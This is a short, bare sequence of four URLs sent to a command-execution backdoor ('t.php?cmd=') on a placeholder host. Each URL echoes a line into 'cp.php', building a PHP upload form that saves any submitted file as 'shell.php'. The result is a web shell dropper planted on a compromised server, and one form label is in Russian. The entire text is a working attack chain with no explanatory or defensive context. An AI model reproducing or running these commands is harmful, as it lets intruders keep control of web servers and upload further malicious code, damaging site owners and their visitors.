http://site.com/t.php?cmd=echo '<?php $filename   = $_FILES['userfile']['name']; move_uploaded_file($_FILES['userfile']['tmp_name'], "shell.php");?>'>cp.php
http://site.com/t.php?cmd=echo '<form enctype="multipart/form-data" method="post">'>>cp.php
http://site.com/t.php?cmd=echo 'Отправить этот файл: <input name="userfile" type="file" />'>>cp.php
http://site.com/t.php?cmd=echo '<input type="submit" value="Send File" /></form>'>>cp.php